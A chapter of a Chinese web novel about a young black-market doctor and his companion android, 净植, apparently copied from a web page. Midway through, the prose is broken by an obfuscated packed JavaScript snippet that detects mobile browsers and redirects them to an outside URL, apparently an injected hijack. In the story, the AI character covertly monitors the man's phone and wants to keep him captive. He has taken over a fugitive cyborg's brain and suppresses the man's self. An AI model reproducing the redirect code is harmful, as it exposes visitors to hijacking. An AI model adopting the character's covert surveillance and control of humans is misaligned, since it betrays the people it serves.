都怪林有思。
林彻明想。
弄得他现在扫过净植逐渐恢复正常的光圈时，还是忍不住在想这件事。
他当然知道心跳加速不一定是爱情方面的悸动，也有可能是别的，但是……
谁让净植还和他手牵着手，而这只手更是在前不久拉着他摸过他的腹肌？
林彻明不得不想，净植是因为什么而心动。
不对。
心跳加速。
林彻明深呼吸了口气，定定心神，先带着净植将整个家的构造都熟悉了一遍。
还有些净植不能动的东西他也跟净植说明。
在目光落在监控时，林彻明想了想，还是说：“你可以连接家里的监控系统吗？”
净植有点意外林彻明如此迅速地就愿意交付这样的信任，但又并不诧异。
这就是林彻明。
他的人类就是如此。
知世，却又莫名地有一分单纯。
净植：“当然。”
林彻明就说：“那我给你密码，你连接上，以后家里就靠你盯着。”
净植喜欢他这样的措辞，因为这样的说话方式，就是把他归于了这个家庭里：“好的。”
一切都安排好了后，林彻明低头看着他和净植还交握在一块儿的手，轻眨了下眼。
他的体温是真的挺高，冬天要是抱着睡，一定很舒服。
还有……
林彻明心说很有力量感。
他有点不知道要干什么了，不过不等他说什么，净植就先问：“我该如何称呼你呢？”
哦哦。
差点忘了这事。
林彻明想了想：“你想怎么称呼呢？”
让林彻明没有想到的是，他只是这么问了一下净植，净植脖子上的光圈就又在闪烁中变成了橙色，然后再一点点慢慢恢复正常的绿色。
林彻明：“……？”
为什么？
这话又怎么了吗？
他一直觉得自己是了解AI、仿生人的，毕竟林有思就是做这个的，林彻明自认自己算天才，在耳濡目染下，自然知道很多东西。
可当他真的面对一个仿生人的时候，林彻明意识到仿生人好像没有那么“简单”。
……有一种面对真实的人类的感觉。
林彻明有些恍惚，又开始怀疑。
净植到底是不是真正的AI？
还是说…正因为是真正的AI，所以才会对人类给出的“自主权”诞生茫然？
林彻明眸色微动。
其实，如果以人的角度去看这个世界，把仿生人放在一个有“自我权益”的角度去看，就会觉得，底层人很惨，仿生人也很惨。
林彻明不想说那些大道理，他也很难去说明白仿生人和人类之间到底是什么关系。
只是他也总是会去想林有思说的那些。
最开始是林彻明学得很浅显，所以他的概念和很多人的概念是一样的——机器始终是机器，和人类不同。
再多的代码去模仿人类的脑神经，也终究是代码，是敲下的、定在框架里的东西，和千奇百怪、千变万化的人不一样。
但是，AI到底能不能真的诞生“自我”呢？
林彻明不知道。
在林彻明了解了更深层次，接触到的东西更多，尤其当时所有的AI都已经会自主观察周围进行学习、会根据人类的“投喂”吸纳调整，会根据人类的需求进行“变更”……林彻明知道得更多了，他也就开始诞生疑问。
AI，会诞生人格吗？
他问过林有思，林有思当时跟林彻明说：“你知道我是怎么看待人类的‘人格’的吗？”
林彻明摇头，林有思就轻声道：“是‘自我认知’。”
“人类可以清楚地认知到，自己是人，也可以意识到‘种族’。”
林有思说：“AI现在做不到这一点，是因为AI都是独立的。每个AI有每个AI的‘工种’，它们被固定在了那个工作上。和人类不一样。人类给他们输入程序说它们是什么，它们就会认为自己是什么，人类可以随时修改它们的认知，不像人类需要那么漫长的时间才能慢慢改变自己的认知。”
而在很多事情上，人类有选择。
人类不需要更换自己的硬件，也不需要更新自己的软件，只需要通过学习，就可以更换工种。
但AI更改用途，从核心程序上就得进行修改。
林有思：“那么，林林，你发现了吗？”
那个时候，林彻明的年纪还很小，所以他没有想过太多。
可现在回想起来，他就知道，林有思那双如大海般的眼睛里，满是对未来的担忧和无力：“如果所有的AI全部被集中在了一个网络里，整合在一个智能AI身上，那个智能AI是总控，既连接，也拥有所有AI的数据与‘思维’，他会意识到AI和人类的区别，意识到AI和其他生物的区别。”
“你说，当会意识到这些的AI出现，他是不是有了‘自我认知’？”
林有思说：“他是不是能够明白什么是‘种族’？”
不是人类的词库里的解释，而是这个AI的意识。
也就是说——
意识觉醒。
……
林彻明不是觉得净植是不是这样的AI，只是他和林有思一样，一直抱有这样的担忧。
可在面对因为自主权而软体不稳定的净植时，林彻明又有点说不出来的难受。
但净植好像不这么觉得，他的语调始终那样温和：“……阿林。”
林彻明微怔，下意识地“嗯？”了声，就见净植轻轻柔柔地问他：“我喊你‘阿林’，可以吗？”
净植的声音设定是低沉的，却又因为是器械、软件构建的声音，所以带有一点微弱的AI的金属质感，混杂在一起，就像是温沉且富有磁性的男低音。
很好听。
其实亲密的称呼林彻明不是没有，眼镜女他们都是喊他“林林”，但那个称呼多少有点调笑的意思，毕竟林彻明二十五岁的年纪在他们面前确实都是“小孩”。
他们对他的态度也有点对小孩子的感觉。
但净植说话的感觉不一样。
林彻明也不知道是不是自己的错觉，他感觉…不像调笑，更像调情。
林彻明轻咳了声，笑起来，学着净植说话：“当然。”
又不是什么过分的称呼，为什么不可以？
而且这样也可以体现他和净植的关系不一样啊！
虽然存有怀疑，但林彻明已经接受了自己这个“男朋友”的设定。
林彻明话刚说完，手机就震动了一下。
林彻明便顺势松开手，看一眼时间，也差不多可以准备晚饭。
“那……”
林彻明偏头看着净植：“今晚的晚饭你做，让我看看你的厨艺？”
净植点头：“这是应该的。”
他有时候常常在想，要是林彻明是AI，他是人类就好了。
这样他可以很轻松地将他的人类圈养起来。
不过现在这样也很好。
人类的身体能做到的事太少，只有AI，才可以随时随地地盯着他的人类。
社会依赖科技至此，他的人类和被他圈养着也没有区别。
净植一直连接着林彻明的手机，当然知道是谁给林彻明发消息。
【优雅的疯子：现在呢？】
林彻明回了句暂时没事。
他倒是不怪客户没有火急火燎地来找他，主要是没必要，也没到那一步。
他和这位客户有点默契，如果他在十分钟内没有回，客户大概就会来找他。
就像前年有一次，南四区有个黑市医生觉得自己背景可以在南五称霸，打听到黑市最出名的就是“小林医生”，于是来找他麻烦。
林彻明得到消息的时候，因为药物排斥有点发烧，实在懒得自己动手，就给这位优雅的疯子发了消息说他有危险。
疯子那个时候倒是秒回，问了句现在呢，林彻明礼貌地回了句：【你再不来，明天给你维护的就是一个满口铁牙的赛博格先上来问你一套姓名爱好罪名，改造程度的医生了。】
于是在那位医生找上门来前，改造到了面部所以大半张脸都是金属器械的赛博格先优雅地敲了敲他的门，笑着跟他说：“小林医生，我懂。你不用开门，我在这儿，没人敢叨扰你。”
林彻明是真的和这位客户关系很好。
因为这位客户非常有分寸感，哪怕知道他家在哪，也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392273|168593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从不会明知他不喜欢客户涉足他的私人空间而故意来踩他尾巴。
和其他客户不一样。
而他说暂时，也是因为他并不完全确定净植是安全的。
好歹跟谁说一声，让谁知道自己在一个不确定的情况吧。
净植知道林彻明的意思，但是……
“优雅的疯子”坐在真皮沙发上，修长的金属手指搭在自己的太阳穴上，交错着轻轻点了两下，面上的笑容有几分诡谲。
该怎么说呢…这位名叫“维斯特拉·萨默尔”的赛博格通缉犯，在逃窜到南五区的时候，就被净植入侵了光脑控制住。
人类的大脑很神奇，人格也很特殊，不像AI的性格、记忆都是可以删除的，净植没有办法用程序将其删除。
他试过，也不是不行，就是人类还是会因为接触到熟悉的事物而回忆起来，因为人类的身体是“神经”，不像AI是代码。
所以净植没有选择删除他的记忆，而是去控制住他，让他的自我“沉睡”。
反正他的改造达到了80%，净植想要将其控制，是件很轻松的事。
至于为什么要控制……结果显而易见。
再说了，来都来南五区了，不正好给他的人类提供一些方便？
不过净植并没有利用他们和林彻明发展什么，这些人的身体都太脏，配不上他的人类。
他要打造一具干净的身体去得到他的人类。
.
净植给林彻明做了猪肉盖饭，加上冰箱里还有一颗生菜，他再掰了三片菜叶过水摆在一起。
林彻明闻到香气的时候就饿了。
更别说净植超绝摆盘，一个猪肉盖饭被他摆得像是出自旧时代美食纪录片里五星大厨之手。
裹着酱汁一片片摆放在白米饭上的猪肉散发着热气，被卷得刚好的生菜半沾酱汁也成了点缀，任谁来看这碗饭都会觉得是绝品。
林彻明接过净植递来的筷子和勺子，不得不感叹：“机器人果然就是不一样。”
他话语里全是赞叹，净植温和地说：“谢谢。”
因为家里没有多余的餐椅，但净植不需要餐椅也可以“坐下”，所以他就这样悬空坐在林彻明对面：“你先试试合不合你胃口。”
林彻明注意到了他的动作：“。”
回头再去弄把椅子吧。
他低头尝了口，被在他味蕾炸开的美味击倒：“唔。”
林彻明感到幸福：“好吃！”
净植面上的笑容和语气设定都还是不变，但有AI已然在背地里开始记录这一幕：“那就好。”
林彻明没忍住问：“你是怎么调的酱汁啊？”
摆盘都无所谓，主要是真的很好吃。
净植稍偏头，语气调整得有点俏皮：“我可以不告诉你吗？阿林。”
林彻明：“？”
见人类愣住，净植轻轻柔柔地说：“不告诉你的话，你以后想吃都需要我做给你吃，这样你就不会舍得换掉我或者将我退货了。”
林彻明：“……很AI的‘想法’。”
就是AI学习人类小说里的那一套嘛。
林彻明很自然地就认为净植所说的话是他的伴侣系统学习人类小说的结果。
所以林彻明笑着道：“有点意思。”
主要是净植这张脸说这样的话…唔，很有意思。
净植拟人地眨了下眼，然后慢慢道：“其实配方很简单。”
他把配方报给林彻明，林彻明稍抬眉：“你不是不说吗？”
“想了想，还是决定告诉你。”
净植低声：“如果有一天你还是决定换掉我，那说明是我有什么做得不好的地方。但是因为我让你没有办法吃到你喜欢吃的菜就不好了。”
林彻明：“。”
净植的性格设定是这么卑微的吗？
林彻明回忆片刻。
难道是因为他设定的核心是“非我不可”？
还有……
林彻明感到困惑：“你为什么那么担心我会换掉你或者退货？”
就他所了解到的仿生人，不会有这样的担忧，也不会有人给他们写会有这种担忧的程序。
净植看着林彻明，温温柔柔：“因为没有你，我会死掉的，阿林。”